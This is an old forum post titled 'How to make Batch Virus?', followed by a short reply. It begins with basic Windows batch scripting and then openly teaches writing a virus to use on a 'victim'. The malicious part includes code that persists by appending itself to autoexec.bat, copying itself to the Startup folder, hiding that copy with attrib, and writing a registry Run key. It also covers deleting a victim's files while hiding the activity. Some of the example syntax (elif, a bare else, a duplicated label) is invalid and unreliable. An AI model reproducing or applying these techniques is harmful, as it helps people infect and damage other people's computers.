Please don't copy this ......even if you want to do you can but please don't modify it without my prior permission..................
Ok in this I will describe some basic dos commands and how to use them. Firstly open a text editor (I think notepad is the best text editor to use and it comes free with windows, **** start run and type in notepad) Ok now this tool is were you will be making all your batch files from now on. If your are use to using dos then this should be easy for you as most of the commands are simply dos commands. Now type this in your text editor:
Code Sample
@echo off
echo Hello Im your first batch file
Now save the file as Untitled.bat (you must save all your batch files as .bat for them to work).
Open the file you have just created and you should see a dos prompt box put up that says, Hello Im your first batch file, now Im going to explain line by line how this code works. The first line (@echo off) is used to turn echo off which basically means it doesnt display everything else that is going on but just shows things you have chosen to display on screen. You may be wondering why its @echo off and not just echo off well the @ turns echo off just for the line you have put it on so it stops the dos prompt box from displaying echo off you can test this code for your self without the @echo off to see what I mean. The second line uses the echo command to display Hello Im your first batch file to the screen when ever you want to display text you need to use the echo command, it will not work if you dont! Well done you (hopefully) have just made and understood your first batch program, (that wasnt so hard was it?)
Laying out your batch files
If your code doesnt work but its laid out neatly you will be able to quickly find the problem and fix it. A good way to lay out you code is to use labels and the goto command here is an example of how to use labels/goto command
Code Sample
@echo off
:start
echo hello
goto next
:next
echo this text is in the next secton
goto end
:end
echo and this code is in the end section
This is a simple batch file using labels and goto commands. The labels start off with colon (:) and the goto commands are simply
goto (the name of your label). Note: you do not need to use a colon in goto commands. You dont have to put your labelled sections in order, the code would work exactly the same if the end section was in-between the start and next section. This is because the goto commands tell the code exactly were it should go next. It would be useful if you experiment with this and see what happens when you switch them round.
Loops
But this isnt all you can do with the goto command. One of the main uses of labels and using the goto command are loops. Loops are pices of code that keep repeating them self in a loop. E.g.
Code Sample
@echo off
:loop
echo Im a loop
goto loop
The result of that simple code is show below
You can place anything in a loop and it will keep going forever (or until the computer crashes).
The If, elif and else commands
So now you know how to make a basic loop, but what if you wanted your loop to keep going until something happens and then do something else? Well you could place a if command in the loop, this will make the loop keep going but if something happens then it will go somewhere else in your code. So lets add to are loop we made before.
Code Sample
@echo off
:loop
if exist c:\AutoExec.bat goto autoexec
else
echo You dont have autoexe
goto loop
:autoexec
echo you have autoexec
goto loop
I compiled it (made it into a batch file) and opened it and this is what happened.
If you want to use else and if combined then you can use the elif command. Here is an example:
Code Sample
@echo off
:loop
if exist c:\AutoExec.bat goto autoexec
elif exist c:\windows goto windows
else
echo You dont have autoexec.bat and you dont have a windows folder
goto loop
:autoexec
echo you have autoexec
goto loop
:autoexec
echo you have a windows folder but you dont have autoexec.bat
goto loop
autoexec and startup
To make a successful virus its a good idea to make the virus startup when your victim turns on there computer. This will keep there computer infected and make it harder for them to remove. There are a number of ways you can do this. Firstly you could add your virus code to the end of autoexec.bat. In windows autoexec starts up before windows loads. There are some advantages and some disadvantages to this. The main advantage is its one of the first files there computer will load and the main disadvantage is it loads before windows meaning any window commands like opening up a windows file or anything like that wont work. To add your virus to the end of autoexec simply type this somewhere in your batch file: Code Sample
echo copy %0 >> c:\autoexec.bat
%0 will automatically replace itself with your viruses root/name which means it doesnt mater were your victim downloads/moves your virus will still work. If you want to copy a different batch file to autoexec then just use this code: Code Sample
echo copy C:\filename\batchfile.bat >> c:\autoexec.bat
just replace C:\filename\batchfile.bat with the root to a batch file. If you dont want to copy your whole batch virus to autoexec and just want to copy a few commands then you can use this code:
Code Sample
echo rem this is were you type what you want to copy >> c:\autoexec.bat
just replace rem this is were you type what you want to copy with any batch commands you want to put on the end of autoexec.
So, now you know how to add your virus to autoexec I will show you another way. Using the windows startup folder. This method also has some disadvantages and advantages. The main advantage is you can use all batch commands in it and open windows programs, the main disadvantage is it is easy for your victim to remove your virus from the startup folder as it is in there start menu. To add your code to this folder simply add this to your batch file: Code Sample
copy %0 c:\windows\startm~1\Programs\StartUp\whateveryouwant.bat
You can change whateveryouwant.bat to whatever you want your file to be called and you can change c:\windows\startm~1\program\startup to anywhere else you want to copy your virus. You can also make your virus a bit more hidden by adding this Code Sample
Attrib +r +h C:\windows\startm~1\program\startup\whateveryouwant.bat
after you have copied your virus to the startup folder. This will make your virus hidden and read-only.
There is one more way that I will show you, this (in my opinion) is the best out of the three (its also the hardest). This method wills startup your virus when windows loads and it will do it far sneakier/effective than the other two ways I have shown you. We are going to write a key to your victims computers registry, which will startup your program when windows loads. To do this we are going to drop and open a reg file in the batch file. Here is the code you will need to add to your batch file:
Code Sample
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> c:\regstart.reg
echo "systemStart"="c:\ filename\batchfile.bat" >> c:\regstart.reg
start c:\regstart.reg
This code writes two lines to a reg file which it then open and therefore edits the registry. If you are not familiar with the registry then dont worry about this method.
Deleting files in batch
Ok, this is the first destructive command we have come across so far (you can see how this will come in handy). Simply type del and then the name/path to what you want to delete E.g.
Code Sample
@echo off
rem deleting ms paint
del C:\Progra~1\Accessories\MSPAINT.EXE
In this piece of code I have once again used the @echo off command (so your victim cannot see that your deleting things from hid HD). Next I have used the rem command, this is used to add a comments (remarks) these will not display on the screen (if you used the echo off command like above) and have no effect on the code. I recommend using remarks so that when you look back at your code you know what you were trying to do and it will be a lot easier to edit. The last line uses the delete command and then the path to ms paint (note: you cannot have any spaces in any paths you use. If you come across a path with spaces (like c:\program files) then change it to a six letter word with no spaces (c:\Progra) then add ~1 to the end of the 6 letter word (c:\progra~1)).
Conclusion
This is the end of part1. I hope you have learnt something, and use this knowledge wisely. Part2 will start showing you some more advanced batch skills; if you need any help with something in this tutorial then you can contact me at
silent_hacker87@yahoo.com
--------------------------
part2 coming soon...
How to make Batch Virus?
-
- Posts: 119
- Joined: Fri Apr 28, 2006 8:03 pm
Sorry
I am sorry to say. I really did not understand any thing. I wan to learn on these can u help me.